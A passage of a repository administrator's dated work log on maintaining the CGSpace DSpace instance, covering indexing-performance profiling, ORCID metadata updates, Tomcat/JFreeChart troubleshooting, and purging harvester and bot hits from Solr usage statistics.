$ ./bin/solr create_core -c statistics -d ~/src/git/DSpace/dspace/solr/statistics/conf -p 8983
+
    +
  • Then try to import the stats, skipping a shitload of fields that are apparently added to our Solr statistics by Atmire modules:
    • +
+
$ ./run.sh -s http://localhost:8983/solr/statistics -a import -o ~/Downloads/statistics-2019-01.json -k uid -S author_mtdt,author_mtdt_search,iso_mtdt_search,iso_mtdt,subject_mtdt,subject_mtdt_search,containerCollection,containerCommunity,containerItem,countryCode_ngram,countryCode_search,cua_version,dateYear,dateYearMonth,geoipcountrycode,ip_ngram,ip_search,isArchived,isInternal,isWithdrawn,containerBitstream,file_id,referrer_ngram,referrer_search,userAgent_ngram,userAgent_search,version_id,complete_query,complete_query_search,filterquery,ngram_query_search,ngram_simplequery_search,simple_query,simple_query_search,range,rangeDescription,rangeDescription_ngram,rangeDescription_search,range_ngram,range_search,actingGroupId,actorMemberGroupId,bitstreamCount,solr_update_time_stamp,bitstreamId
+
    +
  • OK that imported! I wonder if it works… maybe I’ll try another day
    • +
+

2020-02-07

+ +
$ cd ~/src/git/perf-map-agent
+$ cmake     .
+$ make
+$ ./bin/create-links-in ~/.local/bin
+$ export FLAMEGRAPH_DIR=/home/aorth/src/git/FlameGraph
+$ export JAVA_HOME=/usr/lib/jvm/java-8-openjdk
+$ export JAVA_OPTS="-XX:+PreserveFramePointer"
+$ ~/dspace63/bin/dspace index-discovery -b &
+# pid of tomcat java process
+$ perf-java-flames 4478
+# pid of java indexing process
+$ perf-java-flames 11359
+
    +
  • All Java processes need to have -XX:+PreserveFramePointer if you want to trace their methods
    • +
  • I did the same tests against DSpace 5.8 and 6.4-SNAPSHOT’s CLI indexing process and Tomcat process +
      +
    • For what it’s worth, it appears all the Hibernate stuff is in the CLI processes, so we don’t need to trace the Tomcat process
      • +
    +
    • +
  • Here is the flame graph for DSpace 5.8’s dspace index-discovery -b java process:
    • +
+

DSpace 5.8 index-discovery flame graph

+
    +
  • Here is the flame graph for DSpace 6.4-SNAPSHOT’s dspace index-discovery -b java process:
    • +
+

DSpace 6.4-SNAPSHOT index-discovery flame graph

+
    +
  • If the width of the stacks indicates time, then it’s clear that Hibernate takes longer…
    • +
  • Apparently there is a “flame diff” tool, I wonder if we can use that to compare!
    • +
+

2020-02-09

+
    +
  • This weekend I did a lot more testing of indexing performance with our DSpace 5.8 branch, vanilla DSpace 5.10, and vanilla DSpace 6.4-SNAPSHOT:
    • +
+
# CGSpace 5.8
+schedtool -D -e ~/dspace/bin/dspace index-discovery -b  385.72s user 131.16s system 19% cpu 43:21.18 total
+schedtool -D -e ~/dspace/bin/dspace index-discovery -b  382.95s user 127.31s system 20% cpu 42:10.07 total
+schedtool -D -e ~/dspace/bin/dspace index-discovery -b  368.56s user 143.97s system 20% cpu 42:22.66 total
+schedtool -D -e ~/dspace/bin/dspace index-discovery -b  360.09s user 104.03s system 19% cpu 39:24.41 total
+
+# Vanilla DSpace 5.10
+schedtool -D -e ~/dspace510/bin/dspace index-discovery -b  236.19s user 59.70s system 3% cpu 2:03:31.14 total
+schedtool -D -e ~/dspace510/bin/dspace index-discovery -b  232.41s user 50.38s system 3% cpu 2:04:16.00 total
+
+# Vanilla DSpace 6.4-SNAPSHOT
+schedtool -D -e ~/dspace63/bin/dspace index-discovery -b  5112.96s user 127.80s system 40% cpu 3:36:53.98 total
+schedtool -D -e ~/dspace63/bin/dspace index-discovery -b  5112.96s user 127.80s system 40% cpu 3:21:0.0 total
+
    +
  • I generated better flame graphs for the DSpace indexing process by using perf-record-stack and filtering out the java process:
    • +
+
$ export JAVA_HOME=/usr/lib/jvm/java-8-openjdk
+$ export PERF_RECORD_SECONDS=60
+$ export JAVA_OPTS="-XX:+PreserveFramePointer"
+$ time schedtool -D -e ~/dspace/bin/dspace index-discovery -b &
+# process id of java indexing process (not Tomcat)
+$ perf-java-record-stack 169639
+$ sudo perf script -i /tmp/perf-169639.data > out.dspace510-1
+$ cat out.dspace510-1 | ../FlameGraph/stackcollapse-perf.pl | grep -E '^java' | ../FlameGraph/flamegraph.pl --color=java --hash > out.dspace510-1.svg
+
    +
  • All data recorded on my laptop with the same kernel, same boot, etc.
    • +
  • CGSpace 5.8 (with Atmire patches):
    • +
+

DSpace 5.8 (with Atmire modules) index-discovery flame graph

+
    +
  • Vanilla DSpace 5.10:
    • +
+

Vanilla DSpace 5.10 index-discovery flame graph

+
    +
  • Vanilla DSpace 6.4-SNAPSHOT:
    • +
+

Vanilla DSpace 6.4-SNAPSHOT index-discovery flame graph

+
    +
  • I sent my feedback to the dspace-tech mailing list so someone can hopefully comment.
    • +
  • Last week Peter asked Sisay to upload some items to CGSpace in the GENNOVATE collection (part of Gender CRP) + +
    • +
+

2020-02-10

+
    +
  • Follow up with Atmire about DSpace 6.x upgrade +
      +
    • I raised the issue of targetting 6.4-SNAPSHOT as well as the Discovery indexing performance issues in 6.x
      • +
    +
    • +
+

2020-02-11

+
    +
  • Maria from Bioversity asked me to add some ORCID iDs to our controlled vocabulary so I combined them with our existing ones and updated the names from the ORCID API:
    • +
+
$ cat ~/src/git/DSpace/dspace/config/controlled-vocabularies/cg-creator-id.xml /tmp/bioversity-orcid-ids.txt | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort | uniq > /tmp/2020-02-11-combined-orcids.txt
+$ ./resolve-orcids.py -i /tmp/2020-02-11-combined-orcids.txt -o /tmp/2020-02-11-combined-names.txt -d
+# sort names, copy to cg-creator-id.xml, add XML formatting, and then format with tidy (preserving accents)
+$ tidy -xml -utf8 -iq -m -w 0 dspace/config/controlled-vocabularies/cg-creator-id.xml
+
    +
  • Then I noticed some author names had changed, so I captured the old and new names in a CSV file and fixed them using fix-metadata-values.py:
    • +
+
$ ./fix-metadata-values.py -i 2020-02-11-correct-orcid-ids.csv -db dspace -u dspace -p 'fuuu' -f cg.creator.id -t correct -m 240 -d
+
    +
  • On a hunch I decided to try to add these ORCID iDs to existing items that might not have them yet +
      +
    • I checked the database for likely matches to the author name and then created a CSV with the author names and ORCID iDs:
      • +
    +
    • +
+
dc.contributor.author,cg.creator.id
+"Staver, Charles",charles staver: 0000-0002-4532-6077
+"Staver, C.",charles staver: 0000-0002-4532-6077
+"Fungo, R.",Robert Fungo: 0000-0002-4264-6905
+"Remans, R.",Roseline Remans: 0000-0003-3659-8529
+"Remans, Roseline",Roseline Remans: 0000-0003-3659-8529
+"Rietveld A.",Anne Rietveld: 0000-0002-9400-9473
+"Rietveld, A.",Anne Rietveld: 0000-0002-9400-9473
+"Rietveld, A.M.",Anne Rietveld: 0000-0002-9400-9473
+"Rietveld, Anne M.",Anne Rietveld: 0000-0002-9400-9473
+"Fongar, A.",Andrea Fongar: 0000-0003-2084-1571
+"Müller, Anna",Anna Müller: 0000-0003-3120-8560
+"Müller, A.",Anna Müller: 0000-0003-3120-8560
+
    +
  • Running the add-orcid-identifiers-csv.py script I added 144 ORCID iDs to items on CGSpace!
    • +
+
$ ./add-orcid-identifiers-csv.py -i /tmp/2020-02-11-add-orcid-ids.csv -db dspace -u dspace -p 'fuuu'
+
    +
  • Minor updates to all Python utility scripts in the CGSpace git repository
    • +
  • Update the spider agent patterns in CGSpace 5_x-prod branch from the latest COUNTER-Robots project +
      +
    • I ran the check-spider-hits.sh script with the updated file and purged 6,000 hits from our Solr statistics core on CGSpace
      • +
    +
    • +
+

2020-02-12

+
    +
  • Follow up with people about AReS funding for next phase
    • +
  • Peter asked about the “stats” and “summary” reports that he had requested in December + +
    • +
  • Peter asked me to update John McIntire’s name format on CGSpace so I ran the following PostgreSQL query:
    • +
+
dspace=# UPDATE metadatavalue SET text_value='McIntire, John M.' WHERE resource_type_id=2 AND metadata_field_id=3 AND text_value='McIntire, John';
+UPDATE 26
+

2020-02-17

+
    +
  • A few days ago Atmire responded to my question about DSpace 6.4-SNAPSHOT saying that they can only confirm that 6.3 works with their modules +
      +
    • I responded to say that we agree to target 6.3, but that I will cherry-pick important patches from the dspace-6_x branch at our own responsibility
      • +
    +
    • +
  • Send a message to dspace-devel asking them to tag DSpace 6.4
    • +
  • Udana from IWMI asked about the OAI base URL for their community on CGSpace + +
    • +
+

2020-02-19

+
    +
  • I noticed a thread on the mailing list about the Tomcat header size and Solr max boolean clauses error +
      +
    • The solution is to do as we have done and increase the headers / boolean clauses, or to simply disable access rights awareness in Discovery
      • +
    • I applied the fix to the 5_x-prod branch and cherry-picked it to 6_x-dev
      • +
    +
    • +
  • Upgrade Tomcat from 7.0.99 to 7.0.100 in Ansible infrastructure playbooks
    • +
  • Upgrade PostgreSQL JDBC driver from 42.2.9 to 42.2.10 in Ansible infrastructure playbooks
    • +
  • Run Tomcat and PostgreSQL JDBC driver updates on DSpace Test (linode19)
    • +
+

2020-02-23

+
    +
  • I see a new spider in the nginx logs on CGSpace:
    • +
+
Mozilla/5.0 (compatible;Linespider/1.1;+https://lin.ee/4dwXkTH)
+
    +
  • I think this should be covered by the COUNTER-Robots patterns for the statistics at least…
    • +
  • I see some IP (186.32.217.255) in Costa Rica making requests like a bot with the following user agent:
    • +
+
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
+
    +
  • Another IP address (31.6.77.23) in the UK making a few hundred requests without a user agent
    • +
  • I will add the IP addresses to the nginx badbots list
    • +
  • 31.6.77.23 is in the UK and judging by its DNS it belongs to a web marketing company called Bronco +
      +
    • I looked for its DNS entry in Solr statistics and found a few hundred thousand over the years:
      • +
    +
    • +
+
$ curl -s "http://localhost:8081/solr/statistics/select" -d "q=dns:/squeeze3.bronco.co.uk./&rows=0"
+<?xml version="1.0" encoding="UTF-8"?>
+<response>
+<lst name="responseHeader"><int name="status">0</int><int name="QTime">4</int><lst name="params"><str name="q">dns:/squeeze3.bronco.co.uk./</str><str name="rows">0</str></lst></lst><result name="response" numFound="86044" start="0"></result>
+</response>
+
    +
  • The totals in each core are: +
      +
    • statistics: 86044
      • +
    • statistics-2018: 65144
      • +
    • statistics-2017: 79405
      • +
    • statistics-2016: 121316
      • +
    • statistics-2015: 30720
      • +
    • statistics-2014: 4524
      • +
    • … so about 387,000 hits!
      • +
    +
    • +
  • I will purge them from each core one by one, ie:
    • +
+
$ curl -s "http://localhost:8081/solr/statistics-2015/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>dns:squeeze3.bronco.co.uk.</query></delete>"
+$ curl -s "http://localhost:8081/solr/statistics-2014/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>dns:squeeze3.bronco.co.uk.</query></delete>"
+
    +
  • Deploy latest Tomcat and PostgreSQL JDBC driver changes on CGSpace (linode18)
    • +
  • Deploy latest 5_x-prod branch on CGSpace (linode18)
    • +
  • Run all system updates on CGSpace (linode18) server and reboot it +
      +
    • After the server came back up Tomcat started, but there were errors loading some Solr statistics cores
      • +
    • Luckily after restarting Tomcat once more they all came back up
      • +
    +
    • +
  • I ran the dspace cleanup -v process on CGSpace and got an error:
    • +
+
Error: ERROR: update or delete on table "bitstream" violates foreign key constraint "bundle_primary_bitstream_id_fkey" on table "bundle"
+  Detail: Key (bitstream_id)=(183996) is still referenced from table "bundle".
+
    +
  • The solution is, as always:
    • +
+
# su - postgres
+$ psql dspace -c 'update bundle set primary_bitstream_id=NULL where primary_bitstream_id in (183996);'
+UPDATE 1
+
    +
  • Аdd one more new Bioversity ORCID iD to the controlled vocabulary on CGSpace
    • +
  • Felix Shaw from Earlham emailed me to ask about his admin account on DSpace Test +
      +
    • His old one got lost when I re-sync’d DSpace Test with CGSpace a few weeks ago
      • +
    • I added a new account for him and added it to the Administrators group:
      • +
    +
    • +
+
$ dspace user -a -m wow@me.com -g Felix -s Shaw -p 'fuananaaa'
+
    +
  • For some reason the Atmire Content and Usage Analysis (CUA) module’s Usage Statistics is drawing blank graphs +
      +
    • I looked in the dspace.log and see:
      • +
    +
    • +
+
2020-02-23 11:28:13,696 ERROR org.dspace.app.xmlui.cocoon.DSpaceCocoonServletFilter @ Serious Error Occurred Processing Request!
+org.springframework.web.util.NestedServletException: Handler processing failed; nested exception is java.lang.NoClassDefFoundError: Could not
+ initialize class org.jfree.chart.JFreeChart
+
    +
  • The same error happens on DSpace Test, but graphs are working on my local instance +
      +
    • The only thing I’ve changed recently is the Tomcat version, but it’s working locally…
      • +
    • I see the following file on my local instance, CGSpace, and DSpace Test: dspace/webapps/xmlui/WEB-INF/lib/jfreechart-1.0.5.jar
      • +
    • I deployed Tomcat 7.0.99 on DSpace Test but the JFreeChart classs still can’t be found…
      • +
    • So it must be somthing with the library search path…
      • +
    • Strange it works with Tomcat 7.0.100 on my local machine
      • +
    +
    • +
  • I copied the jfreechart-1.0.5.jar file to the Tomcat lib folder and then there was a different error when I loaded Atmire CUA:
    • +
+
2020-02-23 16:25:10,841 ERROR org.dspace.app.xmlui.cocoon.DSpaceCocoonServletFilter @ Serious Error Occurred Processing Request!  org.springframework.web.util.NestedServletException: Handler processing failed; nested exception is java.awt.AWTError: Assistive Technology not found: org.GNOME.Accessibility.AtkWrapper
+
    +
  • Some search results suggested commenting out the following line in /etc/java-8-openjdk/accessibility.properties:
    • +
+
assistive_technologies=org.GNOME.Accessibility.AtkWrapper
+
    +
  • And removing the extra jfreechart library and restarting Tomcat I was able to load the usage statistics graph on DSpace Test… +
      +
    • Hmm, actually I think this is an Java bug, perhaps introduced or at least present in 18.04, with lots of references to it happening in other configurations like Debian 9 with Jenkins, etc…
      • +
    • Apparently if you use the non-headless version of openjdk this doesn’t happen… but that pulls in X11 stuff so no thanks
      • +
    • Also, I see dozens of occurences of this going back over one month (we have logs for about that period):
      • +
    +
    • +
+
# grep -c 'initialize class org.jfree.chart.JFreeChart' dspace.log.2020-0*
+dspace.log.2020-01-12:4
+dspace.log.2020-01-13:66
+dspace.log.2020-01-14:4
+dspace.log.2020-01-15:36
+dspace.log.2020-01-16:88
+dspace.log.2020-01-17:4
+dspace.log.2020-01-18:4
+dspace.log.2020-01-19:4
+dspace.log.2020-01-20:4
+dspace.log.2020-01-21:4
+...
+
    +
  • I deployed the fix on CGSpace (linode18) and I was able to see the graphs in the Atmire CUA Usage Statistics…
    • +
  • On an unrelated note there is something weird going on in that I see millions of hits from IP 34.218.226.147 in Solr statistics, but if I remember correctly that IP belongs to CodeObia’s AReS explorer, but it should only be using REST and therefore no Solr statistics…?
    • +
+
$ curl -s "http://localhost:8081/solr/statistics-2018/select" -d "q=ip:34.218.226.147&rows=0"
+<?xml version="1.0" encoding="UTF-8"?>
+<response>
+<lst name="responseHeader"><int name="status">0</int><int name="QTime">811</int><lst name="params"><str name="q">ip:34.218.226.147</str><str name="rows">0</str></lst></lst><result name="response" numFound="5536097" start="0"></result>
+</response>
+
    +
  • And there are apparently two million from last month (2020-01):
    • +
+
$ curl -s "http://localhost:8081/solr/statistics/select" -d "q=ip:34.218.226.147&fq=dateYearMonth:2020-01&rows=0"
+<?xml version="1.0" encoding="UTF-8"?>
+<response>
+<lst name="responseHeader"><int name="status">0</int><int name="QTime">248</int><lst name="params"><str name="q">ip:34.218.226.147</str><str name="fq">dateYearMonth:2020-01</str><str name="rows">0</str></lst></lst><result name="response" numFound="2173455" start="0"></result>
+</response>
+
    +
  • But when I look at the nginx access logs for the past month or so I only see 84,000, all of which are on /rest and none of which are to XMLUI:
    • +
+
# zcat /var/log/nginx/*.log.*.gz | grep -c 34.218.226.147
+84322
+# zcat /var/log/nginx/*.log.*.gz | grep 34.218.226.147 | grep -c '/rest'
+84322
+
    +
  • Either the requests didn’t get logged, or there is some mixup with the Solr documents (fuck!) +
      +
    • On second inspection, I do see lots of notes here about 34.218.226.147, including 150,000 on one day in October, 2018 alone…
      • +
    +
    • +
  • To make matters worse, I see hits from REST in the regular nginx access log! +
      +
    • I did a few tests and I can’t figure out, but it seems that hits appear in either (not both)
      • +
    • Also, I see zero hits to /rest in the access.log on DSpace Test (linode19)
      • +
    +
    • +
  • Anyways, I faceted by IP in 2020-01 and see:
    • +
+
$ curl -s 'http://localhost:8081/solr/statistics/select?q=*:*&fq=dateYearMonth:2020-01&rows=0&wt=json&indent=true&facet=true&facet.field=ip'
+...
+        "172.104.229.92",2686876,
+        "34.218.226.147",2173455,
+        "163.172.70.248",80945,
+        "163.172.71.24",55211,
+        "163.172.68.99",38427,
+
    +
  • Surprise surprise, the top two IPs are from AReS servers… wtf.
    • +
  • The next three are from Online in France and they are all using this weird user agent and making tens of thousands of requests to Discovery:
    • +
+
Mozilla/5.0 ((Windows; U; Windows NT 6.1; fr; rv:1.9.2) Gecko/20100115 Firefox/3.6)
+
    +
  • And all the same three are already inflating the statistics for 2020-02… hmmm.
    • +
  • I need to see why AReS harvesting is inflating the stats, as it should only be making REST requests…
    • +
  • Shiiiiit, I see 84,000 requests from the AReS IP today alone:
    • +
+
$ curl -s 'http://localhost:8081/solr/statistics/select?q=time:2020-02-22*+AND+ip:172.104.229.92&rows=0&wt=json&indent=true'
+...
+  "response":{"numFound":84594,"start":0,"docs":[]
+
    +
  • Fuck! And of course the ILRI websites doing their daily REST harvesting are causing issues too, from today alone:
    • +
+
        "2a01:7e00::f03c:91ff:fe9a:3a37",35512,
+        "2a01:7e00::f03c:91ff:fe18:7396",26155,
+
    +
  • I need to try to make some requests for these URLs and observe if they make a statistics hit: +
      +
    • /rest/items?expand=metadata,bitstreams,parentCommunityList&limit=50&offset=82450
      • +
    • /rest/handle/10568/28702?expand=all
      • +
    +
    • +
  • Those are the requests AReS and ILRI servers are making… nearly 150,000 per day!
    • +
  • Well that settles it!
    • +
+
$ curl -s 'http://localhost:8081/solr/statistics/select?q=time:2020-02-23*+AND+statistics_type:view&fq=ip:78.128.99.24&rows=10&wt=json&indent=true' | grep numFound
+  "response":{"numFound":12,"start":0,"docs":[
+$ curl -s 'https://dspacetest.cgiar.org/rest/items?expand=metadata,bitstreams,parentCommunityList&limit=50&offset=82450'
+$ curl -s 'http://localhost:8081/solr/statistics/update?softCommit=true'
+$ curl -s 'http://localhost:8081/solr/statistics/select?q=time:2020-02-23*+AND+statistics_type:view&fq=ip:78.128.99.24&rows=10&wt=json&indent=true' | grep numFound
+  "response":{"numFound":62,"start":0,"docs":[
+
    +
  • A REST request with limit=50 will make exactly fifty statistics_type=view statistics in the Solr core… fuck. +
      +
    • So not only do I need to purge all these millions of hits, we need to add these IPs to the list of spider IPs so they don’t get recorded
      • +
    +
    • +
+

2020-02-24

+
    +
  • I tried to add some IPs to the DSpace spider list so they would not get recorded in Solr statistics, but it doesn’t support IPv6 +
      +
    • A better method is actually to just use the nginx mapping logic we already have to reset the user agent for these requests to “bot”
      • +
    • That, or to really insist that users harvesting us specify some kind of user agent
      • +
    +
    • +
  • I tried to add the IPs to our nginx IP bot mapping but it doesn’t seem to work… WTF, why is everything broken?!
    • +
  • Oh lord have mercy, the two AReS harvester IPs alone are responsible for 42 MILLION hits in 2019 and 2020 so far by themselves:
    • +
+
$ http 'http://localhost:8081/solr/statistics/select?q=ip:34.218.226.147+OR+ip:172.104.229.92&rows=0&wt=json&indent=true' | grep numFound
+  "response":{"numFound":42395486,"start":0,"docs":[]
+
    +
  • I modified my check-spider-hits.sh script to create a version that works with IPs and purged 47 million stats from Solr on CGSpace:
    • +
+
$ ./check-spider-ip-hits.sh -u http://localhost:8081/solr -f 2020-02-24-bot-ips.txt -s statistics -p
+Purging 22809216 hits from 34.218.226.147 in statistics
+Purging 19586270 hits from 172.104.229.92 in statistics
+Purging 111137 hits from 2a01:7e00::f03c:91ff:fe9a:3a37 in statistics
+Purging 271668 hits from 2a01:7e00::f03c:91ff:fe18:7396 in statistics
+
+Total number of bot hits purged: 42778291
+$ ./check-spider-ip-hits.sh -u http://localhost:8081/solr -f 2020-02-24-bot-ips.txt -s statistics-2018 -p
+Purging 5535399 hits from 34.218.226.147 in statistics-2018
+
+Total number of bot hits purged: 5535399
+
    +
  • (The statistics core holds 2019 and 2020 stats, because the yearly sharding process failed this year)
    • +
  • Attached is a before and after of the period from 2019-01 to 2020-02:
    • +
+

CGSpace stats for 2019 and 2020 before the purge

+

CGSpace stats for 2019 and 2020 after the purge

+
    +
  • And here is a graph of the stats by year since 2011:
    • +
+

CGSpace stats by year since 2011 after the purge

+
    +
  • I’m a little suspicious of the 2012, 2013, and 2014 numbers, though +
      +
    • I should facet those years by IP and see if any stand out…
      • +
    +
    • +
  • The next thing I need to do is figure out why the nginx IP to bot mapping isn’t working… +
      +
    • Actually, and I’ve probably learned this before, but the bot mapping is working, but nginx only logs the real user agent (of course!), as I’m only using the mapped one in the proxy pass…
      • +
    • This trick for adding a header with the mapped “ua” variable is nice:
      • +
    +
    • +
+
add_header X-debug-message "ua is $ua" always;
+
    +
  • Then in the HTTP response you see:
    • +
+
X-debug-message: ua is bot
+
    +
  • So the IP to bot mapping is working, phew.
    • +
  • More bad news, I checked the remaining IPs in our existing bot IP mapping, and there are statistics registered for them! +
      +
    • For example, ciat.cgiar.org was previously 104.196.152.243, but it is now 35.237.175.180, which I had noticed as a “mystery” client on Google Cloud in 2018-09
      • +
    • Others I should probably add to the nginx bot map list are: +
        +
      • wle.cgiar.org (70.32.90.172)
        • +
      • ccafs.cgiar.org (205.186.128.185)
        • +
      • another CIAT scraper using the PHP GuzzleHttp library (45.5.184.72)
        • +
      • macaronilab.com (63.32.242.35)
        • +
      • africa-rising.net (162.243.171.159
        • +
      +
      • +
    +
    • +
  • These IPs are all active in the REST API logs over the last few months and they account for thirty-four million more hits in the statistics!
    • +
  • I purged them from CGSpace:
    • +
+
$ ./check-spider-ip-hits.sh -u http://localhost:8081/solr -f /tmp/ips.txt -s statistics -p
+Purging 15 hits from 104.196.152.243 in statistics
+Purging 61064 hits from 35.237.175.180 in statistics
+Purging 1378 hits from 70.32.90.172 in statistics
+Purging 28880 hits from 205.186.128.185 in statistics
+Purging 464613 hits from 63.32.242.35 in statistics
+Purging 131 hits from 162.243.171.159 in statistics
+
+Total number of bot hits purged: 556081
+$ ./check-spider-ip-hits.sh -u http://localhost:8081/solr -f /tmp/ips.txt -s statistics-2018 -p
+Purging 684888 hits from 104.196.152.243 in statistics-2018
+Purging 323737 hits from 35.227.26.162 in statistics-2018
+Purging 221091 hits from 35.237.175.180 in statistics-2018
+Purging 3834 hits from 205.186.128.185 in statistics-2018
+Purging 20337 hits from 63.32.242.35 in statistics-2018
+
+Total number of bot hits purged: 1253887
+$ ./check-spider-ip-hits.sh -u http://localhost:8081/solr -f /tmp/ips.txt -s statistics-2017 -p
+Purging 1752548 hits from 104.196.152.243 in statistics-2017
+
+Total number of bot hits purged: 1752548
+
    +
  • I looked in the REST API logs for the past month and found a few more IPs: +
      +
    • 95.110.154.135 (BioversityBot)
      • +
    • 34.209.213.122 (IITA? bot)
      • +
    +
    • +
  • The client at 3.225.28.105 is using the following user agent:
    • +
+
Apache-HttpClient/4.3.4 (java 1.5)
+
    +
  • But I don’t see any hits for it in the statistics core for some reason
    • +
  • Looking more into the 2015 statistics I see some questionable IPs: +
      +
    • 50.115.121.196 has a DNS of saltlakecity2tr.monitis.com
      • +
    • 70.32.99.142 has userAgent Drupal
      • +
    • 104.130.164.111 was some scraper on Rackspace.com that made ~30,000 requests per month
      • +
    • 45.56.65.158 was some scraper on Linode that made ~30,000 requests per month
      • +
    • 23.97.198.40 was some scraper with an IP owned by Microsoft that made ~4,000 requests per month and had no user agent
      • +
    • 180.76.15.6 and dozens of other IPs with DNS like baiduspider-180-76-15-6.crawl.baidu.com. (and they were using a Mozilla/5.0 user agent!)
      • +
    +
    • +
  • For the IPs I purged them using check-spider-ip-hits.sh:
    • +
+
$ ./check-spider-ip-hits.sh -u http://localhost:8081/solr -f /tmp/ips.txt -s statistics -p
+Purging 11478 hits from 95.110.154.135 in statistics
+Purging 1208 hits from 34.209.213.122 in statistics
+Purging 10 hits from 54.184.39.242 in statistics
+
+Total number of bot hits purged: 12696
+$ ./check-spider-ip-hits.sh -u http://localhost:8081/solr -f /tmp/ips.txt -s statistics-2018 -p
+Purging 12572 hits from 95.110.154.135 in statistics-2018
+Purging 233 hits from 34.209.213.122 in statistics-2018
+
+Total number of bot hits purged: 12805
+$ ./check-spider-ip-hits.sh -u http://localhost:8081/solr -f /tmp/ips.txt -s statistics-2017 -p
+Purging 37503 hits from 95.110.154.135 in statistics-2017
+Purging 25 hits from 34.209.213.122 in statistics-2017
+Purging 8621 hits from 23.97.198.40 in statistics-2017
+
+Total number of bot hits purged: 46149
+$ ./check-spider-ip-hits.sh -u http://localhost:8081/solr -f /tmp/ips.txt -s statistics-2016 -p
+Purging 1476 hits from 95.110.154.135 in statistics-2016
+Purging 10490 hits from 70.32.99.142 in statistics-2016
+Purging 29519 hits from 50.115.121.196 in statistics-2016
+Purging 175758 hits from 45.56.65.158 in statistics-2016
+Purging 26279 hits from 23.97.198.40 in statistics-2016
+
+Total number of bot hits purged: 243522
+$ ./check-spider-ip-hits.sh -u http://localhost:8081/solr -f /tmp/ips.txt -s statistics-2015 -p
+Purging 49351 hits from 70.32.99.142 in statistics-2015
+Purging 30278 hits from 50.115.121.196 in statistics-2015
+Purging 172292 hits from 104.130.164.111 in statistics-2015
+Purging 78571 hits from 45.56.65.158 in statistics-2015
+Purging 16069 hits from 23.97.198.40 in statistics-2015
+
+Total number of bot hits purged: 346561
+$ ./check-spider-ip-hits.sh -u http://localhost:8081/solr -f /tmp/ips.txt -s statistics-2014 -p 
+Purging 462 hits from 70.32.99.142 in statistics-2014
+Purging 1766 hits from 50.115.121.196 in statistics-2014
+
+Total number of bot hits purged: 2228
+
    +
  • Then I purged about 200,000 Baidu hits from the 2015 to 2019 statistics cores with a few manual delete queries because they didn’t have a proper user agent and the only way to identify them was via DNS:
    • +
+
$ curl -s "http://localhost:8081/solr/statistics-2016/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>dns:*crawl.baidu.com.</query></delete>"
+
    +
  • Jesus, the more I keep looking, the more I see ridiculous stuff…
    • +
  • In 2019 there were a few hundred thousand requests from CodeObia on Orange Jordan network… +
      +
    • 79.173.222.114
      • +
    • 149.200.141.57
      • +
    • 86.108.89.91
      • +
    • And others…
      • +
    +
    • +
  • Also I see a CIAT IP 45.5.186.2 that was making hundreds of thousands of requests (and 100/sec at one point in 2019)
    • +
  • Also I see some IP on Hetzner making 10,000 requests per month: 2a01:4f8:210:51ef::2
    • +
  • Also I see some IP in Greece making 130,000 requests with weird user agents: 143.233.242.130
    • +
  • I purged a bunch more from all cores:
    • +
+
$ ./check-spider-ip-hits.sh -u http://localhost:8081/solr -f /tmp/ips.txt -s statistics -p     
+Purging 109965 hits from 45.5.186.2 in statistics
+Purging 78648 hits from 79.173.222.114 in statistics
+Purging 49032 hits from 149.200.141.57 in statistics
+Purging 26897 hits from 86.108.89.91 in statistics
+Purging 80898 hits from 2a01:4f8:210:51ef::2 in statistics
+Purging 130831 hits from 143.233.242.130 in statistics
+Purging 46489 hits from 83.103.94.48 in statistics
+
+Total number of bot hits purged: 522760
+$ ./check-spider-ip-hits.sh -u http://localhost:8081/solr -f /tmp/ips.txt -s statistics-2018 -p
+Purging 41574 hits from 45.5.186.2 in statistics-2018
+Purging 39620 hits from 2a01:4f8:210:51ef::2 in statistics-2018
+Purging 19325 hits from 83.103.94.48 in statistics-2018
+
+Total number of bot hits purged: 100519
+$ ./check-spider-ip-hits.sh -u http://localhost:8081/solr -f /tmp/ips.txt -s statistics-2017   
+Found 296 hits from 45.5.186.2 in statistics-2017
+Found 390 hits from 2a01:4f8:210:51ef::2 in statistics-2017
+Found 16086 hits from 83.103.94.48 in statistics-2017
+
+Total number of hits from bots: 16772
+$ ./check-spider-ip-hits.sh -u http://localhost:8081/solr -f /tmp/ips.txt -s statistics-2017 -p
+Purging 296 hits from 45.5.186.2 in statistics-2017
+Purging 390 hits from 2a01:4f8:210:51ef::2 in statistics-2017
+Purging 16086 hits from 83.103.94.48 in statistics-2017
+
+Total number of bot hits purged: 16772
+$ ./check-spider-ip-hits.sh -u http://localhost:8081/solr -f /tmp/ips.txt -s statistics-2016 -p
+Purging 394 hits from 2a01:4f8:210:51ef::2 in statistics-2016
+Purging 26519 hits from 83.103.94.48 in statistics-2016
+
+Total number of bot hits purged: 26913
+$ ./check-spider-ip-hits.sh -u http://localhost:8081/solr -f /tmp/ips.txt -s statistics-2015 -p
+Purging 1 hits from 143.233.242.130 in statistics-2015
+Purging 14109 hits from 83.103.94.48 in statistics-2015
+
+Total number of bot hits purged: 14110
+
    +
  • Though looking in my REST logs for the last month I am second guessing my judgement on 45.5.186.2 because I see user agents like “Microsoft Office Word 2014”
    • +
  • Actually no, the overwhelming majority of these are coming from something harvesting the REST API with no user agent:
    • +
+
# zgrep 45.5.186.2 /var/log/nginx/rest.log.[1234]* | awk -F\" '{print $6}' | sort | uniq -c | sort -h
+      1 Microsoft Office Word 2014
+      1 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; ms-office)
+      1 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
+      1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
+      2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
